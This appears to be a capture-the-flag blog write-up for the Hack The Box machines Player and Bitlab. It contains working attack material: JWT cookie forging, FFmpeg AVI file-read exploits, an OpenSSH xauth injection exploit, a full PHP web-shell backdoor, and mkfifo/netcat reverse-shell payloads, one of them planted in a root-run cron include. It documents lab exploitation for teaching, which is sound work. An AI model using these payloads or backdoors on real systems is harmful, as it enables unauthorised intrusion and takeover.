root@kali:~/Desktop/HTB/boxes/player# nmap -sV -sT -sC -o nmapinitial player.htb 
Starting Nmap 7.80 ( https://nmap.org ) at 2020-01-17 16:29 EST
Nmap scan report for player.htb (10.10.10.145)
Host is up (0.35s latency).
Not shown: 998 closed ports
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 6.6.1p1 Ubuntu 2ubuntu2.11 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 1024 d7:30:db:b9:a0:4c:79:94:78:38:b3:43:a2:50:55:81 (DSA)
| 2048 37:2b:e4:31:ee:a6:49:0d:9f:e7:e6:01:e6:3e:0a:66 (RSA)
| 256 0c:6c:05:ed:ad:f1:75:e8:02:e4:d2:27:3e:3a:19:8f (ECDSA)
|_ 256 11:b8:db:f3:cc:29:08:4a:49:ce:bf:91:73:40:a2:80 (ED25519)
80/tcp open http Apache httpd 2.4.7
|_http-server-header: Apache/2.4.7 (Ubuntu)
|_http-title: 403 Forbidden
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 75.12 seconds
root@kali:~/Desktop/HTB/boxes/player#

We got http on port 80 and ssh on port 22.

Web Enumeration

I got a 403 response when I went to http://player.htb/:

I used wfuzz with subdomains-top1mil-5000.txt from seclists to enumerate virtual hosts and got these results:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
root@kali:~/Desktop/HTB/boxes/player# wfuzz --hc 403 -c -w subdomains-top1mil-5000.txt -H "HOST: FUZZ.player.htb" http://10.10.10.145

Warning: Pycurl is not compiled against Openssl. Wfuzz might not work correctly when fuzzing SSL sites. Check Wfuzz's documentation for more information.

********************************************************
* Wfuzz 2.4 - The Web Fuzzer *
********************************************************
Target: http://10.10.10.145/
Total requests: 4997
===================================================================
ID Response Lines Word Chars Payload
===================================================================
000000019: 200 86 L 229 W 5243 Ch "dev"
000000067: 200 63 L 180 W 1470 Ch "staging"
000000070: 200 259 L 714 W 9513 Ch "chat"

Total time: 129.1540
Processed Requests: 4997
Filtered Requests: 4994
Requests/sec.: 38.69021

root@kali:~/Desktop/HTB/boxes/player#

I added them to my hosts file and started checking each one of them.
On dev there was an application that needed credentials so we’ll skip that one until we find some credentials:

staging was kinda empty but there was an interesting contact form:


The form was interesting because when I attempted to submit it I got a weird error for a second then I got redirected to /501.php:


I intercepted the request with burp to read the error.
Request:

1
2
3
4
5
6
7
8
9
GET /contact.php?firstname=test&subject=test HTTP/1.1
Host: staging.player.htb
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:68.0) Gecko/20100101 Firefox/68.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Referer: http://staging.player.htb/contact.html
Connection: close
Upgrade-Insecure-Requests: 1

Response:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
HTTP/1.1 200 OK
Date: Fri, 17 Jan 2020 19:54:33 GMT
Server: Apache/2.4.7 (Ubuntu)
X-Powered-By: PHP/5.5.9-1ubuntu4.26
refresh: 0;url=501.php
Vary: Accept-Encoding
Content-Length: 818
Connection: close
Content-Type: text/html

array(3) {
[0]=>
array(4) {
["file"]=>
string(28) "/var/www/staging/contact.php"
["line"]=>
int(6)
["function"]=>
string(1) "c"
["args"]=>
array(1) {
[0]=>
&string(9) "Cleveland"
}
}
[1]=>
array(4) {
["file"]=>
string(28) "/var/www/staging/contact.php"
["line"]=>
int(3)
["function"]=>
string(1) "b"
["args"]=>
array(1) {
[0]=>
&string(5) "Glenn"
}
}
[2]=>
array(4) {
["file"]=>
string(28) "/var/www/staging/contact.php"
["line"]=>
int(11)
["function"]=>
string(1) "a"
["args"]=>
array(1) {
[0]=>
&string(5) "Peter"
}
}
}
Database connection failed.<html><br />Unknown variable user in /var/www/backup/service_config fatal error in /var/www/staging/fix.php

The error exposed some filenames like /var/www/backup/service_config, /var/www/staging/fix.php and /var/www/staging/contact.php. That will be helpful later.
chat was a static page that simulated a chat application:

I took a quick look at the chat history between Olla and Vincent, Olla asked him about some pentest reports and he replied with 2 interesting things :

  1. Staging exposing sensitive files.
  2. Main domain exposing source code allowing to access the product before release.

We already saw that staging was exposing files, I ran gobuster on the main domain and found /launcher:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
root@kali:~/Desktop/HTB/boxes/player# gobuster dir -u http://player.htb/ -w /usr/share/wordlists/dirb/common.txt 
===============================================================
Gobuster v3.0.1
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@_FireFart_)
===============================================================
[+] Url: http://player.htb/
[+] Threads: 10
[+] Wordlist: /usr/share/wordlists/dirb/common.txt
[+] Status codes: 200,204,301,302,307,401,403
[+] User Agent: gobuster/3.0.1
[+] Timeout: 10s
===============================================================
2020/01/17 19:17:29 Starting gobuster
===============================================================
/.hta (Status: 403)
/.htaccess (Status: 403)
/.htpasswd (Status: 403)
/launcher (Status: 301)
/server-status (Status: 403)
===============================================================
2020/01/17 19:18:59 Finished
===============================================================
root@kali:~/Desktop/HTB/boxes/player#

http://player.htb/launcher:

I tried to submit that form but it did nothing, I just got redirected to /launcher again:
Request:

1
2
3
4
5
6
7
8
9
10
GET /launcher/dee8dc8a47256c64630d803a4c40786c.php HTTP/1.1
Host: player.htb
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:68.0) Gecko/20100101 Firefox/68.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Referer: http://player.htb/launcher/index.html
Connection: close
Cookie: access=eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJwcm9qZWN0IjoiUGxheUJ1ZmYiLCJhY2Nlc3NfY29kZSI6IkMwQjEzN0ZFMkQ3OTI0NTlGMjZGRjc2M0NDRTQ0NTc0QTVCNUFCMDMifQ.cjGwng6JiMiOWZGz7saOdOuhyr1vad5hAxOJCiM3uzU
Upgrade-Insecure-Requests: 1

Response:

1
2
3
4
5
6
7
8
HTTP/1.1 302 Found
Date: Fri, 17 Jan 2020 22:45:04 GMT
Server: Apache/2.4.7 (Ubuntu)
X-Powered-By: PHP/5.5.9-1ubuntu4.26
Location: index.html
Content-Length: 0
Connection: close
Content-Type: text/html

We know from the chat that the source code is exposed somewhere, I wanted to read the source of /launcher/dee8dc8a47256c64630d803a4c40786c.php so I tried some basic stuff like adding .swp, .bak and ~ after the file name. ~ worked (check this out):

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
root@kali:~/Desktop/HTB/boxes/player# curl http://player.htb/launcher/dee8dc8a47256c64630d803a4c40786c.php~
<?php
require 'vendor/autoload.php';

use \Firebase\JWT\JWT;

if(isset($_COOKIE["access"]))
{
$key = '_S0_R@nd0m_P@ss_';
$decoded = JWT::decode($_COOKIE["access"], base64_decode(strtr($key, '-_', '+/')), ['HS256']);
if($decoded->access_code === "0E76658526655756207688271159624026011393")
{
header("Location: 7F2xxxxxxxxxxxxx/");
}
else
{
header("Location: index.html");
}
}
else
{
$token_payload = [
'project' => 'PlayBuff',
'access_code' => 'C0B137FE2D792459F26FF763CCE44574A5B5AB03'
];
$key = '_S0_R@nd0m_P@ss_';
$jwt = JWT::encode($token_payload, base64_decode(strtr($key, '-_', '+/')), 'HS256');
$cookiename = 'access';
setcookie('access',$jwt, time() + (86400 * 30), "/");
header("Location: index.html");
}

?>
root@kali:~/Desktop/HTB/boxes/player#

It decodes the JWT token from the cookie access and redirects us to a redacted path if the value of access_code was 0E76658526655756207688271159624026011393, otherwise it will assign an access cookie for us with C0B137FE2D792459F26FF763CCE44574A5B5AB03 as the value of access_code and redirect us to index.html.
We have the secret _S0_R@nd0m_P@ss_ so we can easily craft a valid cookie. I used jwt.io to edit my token.


I used the cookie and got redirected to /7F2dcsSdZo6nj3SNMTQ1:
Request:

1
2
3
4
5
6
7
8
9
10
GET /launcher/dee8dc8a47256c64630d803a4c40786c.php HTTP/1.1
Host: player.htb
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:68.0) Gecko/20100101 Firefox/68.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Referer: http://player.htb/launcher/index.html
Connection: close
Cookie: access=eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJwcm9qZWN0IjoiUGxheUJ1ZmYiLCJhY2Nlc3NfY29kZSI6IjBFNzY2NTg1MjY2NTU3NTYyMDc2ODgyNzExNTk2MjQwMjYwMTEzOTMifQ.VXuTKqw__J4YgcgtOdNDgsLgrFjhN1_WwspYNf_FjyE
Upgrade-Insecure-Requests: 1

Response:

1
2
3
4
5
6
7
8
HTTP/1.1 302 Found
Date: Fri, 17 Jan 2020 22:50:59 GMT
Server: Apache/2.4.7 (Ubuntu)
X-Powered-By: PHP/5.5.9-1ubuntu4.26
Location: 7F2dcsSdZo6nj3SNMTQ1/
Content-Length: 0
Connection: close
Content-Type: text/html

FFmpeg HLS Vulnerability –> Arbitrary File Read

I uploaded a test txt file:


I got an avi file as a result which was weird:

1
<a href="http:\/\/player.htb/launcher/7F2dcsSdZo6nj3SNMTQ1/uploads/518515582.avi">

I tried some other file formats and I also got an avi file.
So I tried the ffmpeg HLS exploit, I created a test avi to read /etc/passwd and it worked:

1
2
3
4
root@kali:~/Desktop/HTB/boxes/player/avi# ./gen_xbin_avi.py file:///etc/passwd test.avi
root@kali:~/Desktop/HTB/boxes/player/avi# file test.avi
test.avi: RIFF (little-endian) data, AVI, 224 x 160, 25.00 fps,
root@kali:~/Desktop/HTB/boxes/player/avi#


I created 3 more avis to read the files we got earlier from the error message from staging:

1
2
3
4
root@kali:~/Desktop/HTB/boxes/player/avi# ./gen_xbin_avi.py file:///var/www/staging/contact.php contact.avi
root@kali:~/Desktop/HTB/boxes/player/avi# ./gen_xbin_avi.py file:///var/www/backup/service_config service_config.avi
root@kali:~/Desktop/HTB/boxes/player/avi# ./gen_xbin_avi.py file:///var/www/staging/fix.php fix.avi
root@kali:~/Desktop/HTB/boxes/player/avi#

contact.php didn’t have anything interesting and the avi for fix.php was empty for some reason. In service_config there were some credentials for a user called telegen:

I tried these credentials with ssh and with dev.player.htb and they didn’t work. I ran a quick full port scan with masscan and turns out that there was another open port:

1
2
3
4
5
6
7
8
9
root@kali:~/Desktop/HTB/boxes/player# masscan -p1-65535 10.10.10.145 --rate=1000 -e tun0

Starting masscan 1.0.5 (http://bit.ly/14GZzcT) at 2020-01-18 00:09:24 GMT
-- forced options: -sS -Pn -n --randomize-hosts -v --send-eth
Initiating SYN Stealth Scan
Scanning 1 hosts [65535 ports/host]
Discovered open port 22/tcp on 10.10.10.145
Discovered open port 80/tcp on 10.10.10.145
Discovered open port 6686/tcp on 10.10.10.145

I scanned that port with nmap but it couldn’t identify the service:

1
2
PORT     STATE SERVICE    VERSION
6686/tcp open tcpwrapped

However when I connected to the port with nc the banner indicated that it was an ssh server:

1
2
3
4
5
root@kali:~/Desktop/HTB/boxes/player# nc player.htb 6686
SSH-2.0-OpenSSH_7.2

Protocol mismatch.
root@kali:~/Desktop/HTB/boxes/player#

I could login to that ssh server with the credentials, but unfortunately I was in a restricted environment:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
root@kali:~/Desktop/HTB/boxes/player# ssh [email protected] -p 6686
The authenticity of host '[player.htb]:6686 ([10.10.10.145]:6686)' can't be established.
ECDSA key fingerprint is SHA256:oAcCXvit3SHvyq7nuvWntLq+Q+mGlAg8301zhKnJmPM.
Are you sure you want to continue connecting (yes/no/[fingerprint])? yes
Warning: Permanently added '[player.htb]:6686,[10.10.10.145]:6686' (ECDSA) to the list of known hosts.
[email protected]'s password:
Last login: Tue Apr 30 18:40:13 2019 from 192.168.0.104
Environment:
USER=telegen
LOGNAME=telegen
HOME=/home/telegen
PATH=/usr/bin:/bin:/usr/sbin:/sbin:/usr/local/bin
MAIL=/var/mail/telegen
SHELL=/usr/bin/lshell
SSH_CLIENT=10.10.xx.xx 43270 6686
SSH_CONNECTION=10.10.xx.xx 43270 10.10.10.145 6686
SSH_TTY=/dev/pts/4
TERM=screen
========= PlayBuff ==========
Welcome to Staging Environment

telegen:~$ whoami
*** forbidden command: whoami
telegen:~$ help
clear exit help history lpath lsudo
telegen:~$ lsudo
Allowed sudo commands:
telegen:~$ lpath
Allowed:
/home/telegen
telegen:~$ pwd
*** forbidden command: pwd
telegen:~$

OpenSSH 7.2p1 xauth Command Injection –> User Flag

When I searched for exploits for that version of openssh I found this exploit.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
root@kali:~/Desktop/HTB/boxes/player# python 39569.py 
Usage: <host> <port> <username> <password or path_to_privkey>

path_to_privkey - path to private key in pem format, or '.demoprivkey' to use demo private key


root@kali:~/Desktop/HTB/boxes/player# python 39569.py player.htb 6686 telegen 'd-bC|jC!2uepS/w'
INFO:__main__:connecting to: telegen:d-bC|jC!2uepS/[email protected]:6686
INFO:__main__:connected!
INFO:__main__:
Available commands:
.info
.readfile <path>
.writefile <path> <data>
.exit .quit
<any xauth command or type help>

#> .readfile /etc/passwd
DEBUG:__main__:auth_cookie: 'xxxx\nsource /etc/passwd\n'
DEBUG:__main__:dummy exec returned: None
INFO:__main__:root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin
sync:x:4:65534:sync:/bin:/bin/sync
games:x:5:60:games:/usr/games:/usr/sbin/nologin
man:x:6:12:man:/var/cache/man:/usr/sbin/nologin
lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin
mail:x:8:8:mail:/var/mail:/usr/sbin/nologin
news:x:9:9:news:/var/spool/news:/usr/sbin/nologin
uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin
proxy:x:13:13:proxy:/bin:/usr/sbin/nologin
www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin
backup:x:34:34:backup:/var/backups:/usr/sbin/nologin
list:x:38:38:Mailing
irc:x:39:39:ircd:/var/run/ircd:/usr/sbin/nologin
gnats:x:41:41:Gnats
nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin
libuuid:x:100:101::/var/lib/libuuid:
syslog:x:101:104::/home/syslog:/bin/false
messagebus:x:102:106::/var/run/dbus:/bin/false
landscape:x:103:109::/var/lib/landscape:/bin/false
telegen:x:1000:1000:telegen,,,:/home/telegen:/usr/bin/lshell
sshd:x:104:65534::/var/run/sshd:/usr/sbin/nologin
mysql:x:105:113:MySQL
colord:x:106:116:colord
staged-dev:x:4000000000:1001::/home/staged-dev:/bin/sh
#>

I tried to use .writefile to write a php file and get a reverse shell but I couldn’t do that. But anyway I was finally able to read the user flag:

Credentials in fix.php –> RCE –> Shell as www-data

Earlier I couldn’t read fix.php through the ffmpeg exploit, I was able to read it as telegen and I found credentials for a user called peter:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
#> .readfile /var/www/staging/fix.php                                    
DEBUG:__main__:auth_cookie: 'xxxx\nsource /var/www/staging/fix.php\n'
DEBUG:__main__:dummy exec returned: None
INFO:__main__:<?php
class
protected
protected
protected
public
return
}
public
if($result
static::passed($test_name);
}
static::failed($test_name);
}
}
public
if($result
static::failed($test_name);
}
static::passed($test_name);
}
}
public
if(!$username){
$username
$password
}
//modified
//for
//fix
//peter
//CQXpm\z)G5D#%S$y=
}
public
if($result
static::passed($test_name);
}
static::failed($test_name);
}
}
public
echo
echo
echo
}
private
echo
static::$failed++;
}
private
static::character(".");
static::$passed++;
}
private
echo
static::$last_echoed
}
private
if(static::$last_echoed
echo
static::$last_echoed
}
}
#>

These credentials (peter : CQXpm\z)G5D#%S$y=) worked with dev.player.htb:

I tried to create a new project in /var/www/html:

But I got an error saying that I was only allowed to create projects in /var/www/demo/home so I created a project there:

When I ran gobuster on http://dev.player.htb/ there was a directory called home:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
root@kali:~/Desktop/HTB/boxes/player# gobuster dir -u http://dev.player.htb/ -w /usr/share/wordlists/dirb/common.txt 
===============================================================
Gobuster v3.0.1
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@_FireFart_)
===============================================================
[+] Url: http://dev.player.htb/
[+] Threads: 10
[+] Wordlist: /usr/share/wordlists/dirb/common.txt
[+] Status codes: 200,204,301,302,307,401,403
[+] User Agent: gobuster/3.0.1
[+] Timeout: 10s
===============================================================
2020/01/17 20:18:00 Starting gobuster
===============================================================
/.hta (Status: 403)
/.htpasswd (Status: 403)
/.htaccess (Status: 403)
/components (Status: 301)
/data (Status: 301)
/favicon.ico (Status: 200)
/home (Status: 301)
/index.php (Status: 200)
/js (Status: 301)
/languages (Status: 301)
/lib (Status: 301)
/plugins (Status: 301)
/server-status (Status: 403)
/themes (Status: 301)
===============================================================
2020/01/17 20:19:49 Finished
===============================================================
root@kali:~/Desktop/HTB/boxes/player#

I wanted to see if that was related to /var/www/demo/home so I created a file called test.php that echoed test and I tried to access it through /home:


It worked so I edited my test file and added the php-simple-backdoor code and got a reverse shell:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
root@kali:~/Desktop/HTB/boxes/player# nc -lvnp 1337
listening on [any] 1337 ...
connect to [10.10.xx.xx] from (UNKNOWN) [10.10.10.145] 56714
/bin/sh: 0: can't access tty; job control turned off
$ which python
/usr/bin/python
$ python -c "import pty;pty.spawn('/bin/bash')"
www-data@player:/var/www/demo/home$ ^Z
[1]+ Stopped nc -lvnp 1337
root@kali:~/Desktop/HTB/boxes/player# stty raw -echo
root@kali:~/Desktop/HTB/boxes/player# nc -lvnp 1337

www-data@player:/var/www/demo/home$ export TERM=screen
www-data@player:/var/www/demo/home$ id
uid=33(www-data) gid=33(www-data) groups=33(www-data)
www-data@player:/var/www/demo/home$

Root Flag

when I ran pspy to monitor the processes I noticed that /var/lib/playbuff/buff.php got executed as root periodically:

1
2020/01/18 05:25:02 CMD: UID=0    PID=3650   | /usr/bin/php /var/lib/playbuff/buff.php

I couldn’t write to it but it included another php file which I could write to (/var/www/html/launcher/dee8dc8a47256c64630d803a4c40786g.php):

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
www-data@player:/tmp$ cd /var/lib/playbuff/
www-data@player:/var/lib/playbuff$ cat buff.php
<?php
include("/var/www/html/launcher/dee8dc8a47256c64630d803a4c40786g.php");
class playBuff
{
public $logFile="/var/log/playbuff/logs.txt";
public $logData="Updated";

public function __wakeup()
{
file_put_contents(__DIR__."/".$this->logFile,$this->logData);
}
}
$buff = new playBuff();
$serialbuff = serialize($buff);
$data = file_get_contents("/var/lib/playbuff/merge.log");
if(unserialize($data))
{
$update = file_get_contents("/var/lib/playbuff/logs.txt");
$query = mysqli_query($conn, "update stats set status='$update' where id=1");
if($query)
{
echo 'Update Success with serialized logs!';
}
}
else
{
file_put_contents("/var/lib/playbuff/merge.log","no issues yet");
$update = file_get_contents("/var/lib/playbuff/logs.txt");
$query = mysqli_query($conn, "update stats set status='$update' where id=1");
if($query)
{
echo 'Update Success!';
}
}
?>
www-data@player:/var/lib/playbuff$

I put my reverse shell payload in /tmp and added a line to /var/www/html/launcher/dee8dc8a47256c64630d803a4c40786g.php that executed it:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
www-data@player:/$ cat /var/www/html/launcher/dee8dc8a47256c64630d803a4c40786g.php
<?php
$servername = "localhost";
$username = "root";
$password = "";
$dbname = "integrity";

system("bash -c /tmp/pwned.sh");

// Create connection
$conn = new mysqli($servername, $username, $password, $dbname);
// Check connection
if ($conn->connect_error) {
die("Connection failed: " . $conn->connect_error);
}
?>
www-data@player:/$ cat /tmp/pwned.sh
#!/bin/bash
rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 10.10.xx.xx 1338 >/tmp/f
www-data@player:/$


And we owned root !
That’s it , Feedback is appreciated !
Don’t forget to read the previous write-ups , Tweet about the write-up if you liked it , follow on twitter @Ahm3d_H3sham
Thanks for reading.

Previous Hack The Box write-up : Hack The Box - Bitlab
Next Hack The Box write-up : Hack The Box - AI

Hack The Box - Bitlab

11 January 2020 at 03:00

Hack The Box - Bitlab

Quick Summary

Hey guys, today Bitlab retired and here’s my write-up about it. It was a nice CTF-style machine that mainly had a direct file upload and a simple reverse engineering challenge. It’s a Linux box and its ip is 10.10.10.114, I added it to /etc/hosts as bitlab.htb. Let’s jump right in !

Nmap

As always we will start with nmap to scan for open ports and services:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
root@kali:~/Desktop/HTB/boxes/bitlab# nmap -sV -sT -sC -o nmapinitial bitlab.htb 
Starting Nmap 7.80 ( https://nmap.org ) at 2020-01-10 13:44 EST
Nmap scan report for bitlab.htb (10.10.10.114)
Host is up (0.14s latency).
Not shown: 998 filtered ports
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 7.6p1 Ubuntu 4ubuntu0.3 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 2048 a2:3b:b0:dd:28:91:bf:e8:f9:30:82:31:23:2f:92:18 (RSA)
| 256 e6:3b:fb:b3:7f:9a:35:a8:bd:d0:27:7b:25:d4:ed:dc (ECDSA)
|_ 256 c9:54:3d:91:01:78:03:ab:16:14:6b:cc:f0:b7:3a:55 (ED25519)
80/tcp open http nginx
| http-robots.txt: 55 disallowed entries (15 shown)
| / /autocomplete/users /search /api /admin /profile
| /dashboard /projects/new /groups/new /groups/*/edit /users /help
|_/s/ /snippets/new /snippets/*/edit
| http-title: Sign in \xC2\xB7 GitLab
|_Requested resource was http://bitlab.htb/users/sign_in
|_http-trane-info: Problem with XML parsing of /evox/about
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 31.56 seconds
root@kali:~/Desktop/HTB/boxes/bitlab#

We got http on port 80 and ssh on port 22, robots.txt existed on the web server and it had a lot of entries.

Web Enumeration

Gitlab was running on the web server and we need credentials:

I checked /robots.txt to see if there was anything interesting:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
root@kali:~/Desktop/HTB/boxes/bitlab# curl http://bitlab.htb/robots.txt                                                                                                                                                             [18/43]
# See http://www.robotstxt.org/robotstxt.html for documentation on how to use the robots.txt file
#
# To ban all spiders from the entire site uncomment the next two lines:
# User-Agent: *
# Disallow: /

# Add a 1 second delay between successive requests to the same server, limits resources used by crawler
# Only some crawlers respect this setting, e.g. Googlebot does not
# Crawl-delay: 1

# Based on details in https://gitlab.com/gitlab-org/gitlab-ce/blob/master/config/routes.rb, https://gitlab.com/gitlab-org/gitlab-ce/blob/master/spec/routing, and using application
User-Agent: *
Disallow: /autocomplete/users
Disallow: /search
Disallow: /api
Disallow: /admin
Disallow: /profile
Disallow: /dashboard
Disallow: /projects/new
Disallow: /groups/new
Disallow: /groups/*/edit
Disallow: /users
Disallow: /help
# Only specifically allow the Sign In page to avoid very ugly search results
Allow: /users/sign_in

# Global snippets
User-Agent: *
Disallow: /s/
Disallow: /snippets/new
Disallow: /snippets/*/edit
Disallow: /snippets/*/raw

# Project details
User-Agent: *
Disallow: /*/*.git
Disallow: /*/*/fork/new
Disallow: /*/*/repository/archive*
Disallow: /*/*/activity
Disallow: /*/*/new
Disallow: /*/*/edit
Disallow: /*/*/raw
Disallow: /*/*/blame
Disallow: /*/*/commits/*/*
Disallow: /*/*/commit/*.patch
Disallow: /*/*/commit/*.diff
Disallow: /*/*/compare
Disallow: /*/*/branches/new
Disallow: /*/*/tags/new
Disallow: /*/*/network
Disallow: /*/*/graphs
Disallow: /*/*/milestones/new
Disallow: /*/*/milestones/*/edit
Disallow: /*/*/issues/new
Disallow: /*/*/issues/*/edit
Disallow: /*/*/merge_requests/new
Disallow: /*/*/merge_requests/*.patch
Disallow: /*/*/merge_requests/*.diff
Disallow: /*/*/merge_requests/*/edit
Disallow: /*/*/merge_requests/*/diffs
Disallow: /*/*/project_members/import
Disallow: /*/*/labels/new
Disallow: /*/*/labels/*/edit
Disallow: /*/*/wikis/*/edit
Disallow: /*/*/snippets/new
Disallow: /*/*/snippets/*/edit
Disallow: /*/*/snippets/*/raw
Disallow: /*/*/deploy_keys
Disallow: /*/*/hooks
Disallow: /*/*/services
Disallow: /*/*/protected_branches
Disallow: /*/*/uploads/
Disallow: /*/-/group_members
Disallow: /*/project_members
root@kali:~/Desktop/HTB/boxes/bitlab#

Most of the disallowed entries were paths related to the Gitlab application. I checked /help and found a page called bookmarks.html:

There was an interesting link called Gitlab Login:

Clicking on that link didn’t result in anything, so I checked the source of the page, the href attribute had some javascript code:

1
<DT><A HREF="javascript:(function(){ var _0x4b18=[&quot;\x76\x61\x6C\x75\x65&quot;,&quot;\x75\x73\x65\x72\x5F\x6C\x6F\x67\x69\x6E&quot;,&quot;\x67\x65\x74\x45\x6C\x65\x6D\x65\x6E\x74\x42\x79\x49\x64&quot;,&quot;\x63\x6C\x61\x76\x65&quot;,&quot;\x75\x73\x65\x72\x5F\x70\x61\x73\x73\x77\x6F\x72\x64&quot;,&quot;\x31\x31\x64\x65\x73\x30\x30\x38\x31\x78&quot;];document[_0x4b18[2]](_0x4b18[1])[_0x4b18[0]]= _0x4b18[3];document[_0x4b18[2]](_0x4b18[4])[_0x4b18[0]]= _0x4b18[5]; })()" ADD_DATE="1554932142">Gitlab Login</A>

I took that code, edited it a little bit and used the js console to execute it:

1
2
3
4
5
root@kali:~/Desktop/HTB/boxes/bitlab# js
> var _0x4b18=['\x76\x61\x6C\x75\x65','\x75\x73\x65\x72\x5F\x6C\x6F\x67\x69\x6E','\x67\x65\x74\x45\x6C\x65\x6D\x65\x6E\x74\x42\x79\x49\x64','\x63\x6C\x61\x76\x65','\x75\x73\x65\x72\x5F\x70\x61\x73\x73\x77\x6F\x72\x64','\x31\x31\x64\x65\x73\x30\x30\x38\x31\x78'];document[_0x4b18[2]](_0x4b18[1])[_0x4b18[0]]= _0x4b18[3];document[_0x4b18[2]](_0x4b18[4])[_0x4b18[0]]= _0x4b18[5];
Thrown:
ReferenceError: document is not defined
>

Then I printed the variable _0x4b18 which had the credentials for Gitlab:

1
2
3
4
5
6
7
8
> _0x4b18
[ 'value',
'user_login',
'getElementById',
'clave',
'user_password',
'11des0081x' ]
>

File Upload –> RCE –> Shell as www-data

After logging in with the credentials (clave : 11des0081x) I found two repositories, Profile and Deployer:


I also checked the snippets and I found an interesting code snippet that had the database credentials which will be useful later:

1
2
3
<?php
$db_connection = pg_connect("host=localhost dbname=profiles user=profiles password=profiles");
$result = pg_query($db_connection, "SELECT * FROM profiles");

Back to the repositories, I checked Profile and it was pretty empty:

The path /profile was one of the disallowed entries in /robots.txt, I wanted to check if that path was related to the repository, so I checked if the same image (developer.jpg) existed, and it did:


Now we can simply upload a php shell and access it through /profile, I uploaded the php-simple-backdoor:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
<!-- Simple PHP backdoor by DK (http://michaeldaw.org) -->

<?php

if(isset($_REQUEST['cmd'])){
echo "<pre>";
$cmd = ($_REQUEST['cmd']);
system($cmd);
echo "</pre>";
die;
}

?>

Usage: http://target.com/simple-backdoor.php?cmd=cat+/etc/passwd

<!-- http://michaeldaw.org 2006 -->


Then I merged it to the master branch:


I used the netcat openbsd reverse shell payload from PayloadsAllTheThings to get a shell, had to urlencode it first:

1
rm%20%2Ftmp%2Ff%3Bmkfifo%20%2Ftmp%2Ff%3Bcat%20%2Ftmp%2Ff%7C%2Fbin%2Fsh%20-i%202%3E%261%7Cnc%2010.10.xx.xx%201337%20%3E%2Ftmp%2Ff
1
2
3
4
5
6
7
8
9
10
11
12
13
14
root@kali:~/Desktop/HTB/boxes/bitlab# nc -lvnp 1337
listening on [any] 1337 ...
connect to [10.10.xx.xx] from (UNKNOWN) [10.10.10.114] 44340
/bin/sh: 0: can't access tty; job control turned off
$ which python
/usr/bin/python
$ python -c "import pty;pty.spawn('/bin/bash')"
www-data@bitlab:/var/www/html/profile$ ^Z
[1]+ Stopped nc -lvnp 1337
root@kali:~/Desktop/HTB/boxes/bitlab# stty raw -echo
root@kali:~/Desktop/HTB/boxes/bitlab# nc -lvnp 1337

www-data@bitlab:/var/www/html/profile$ export TERM=screen
www-data@bitlab:/var/www/html/profile$

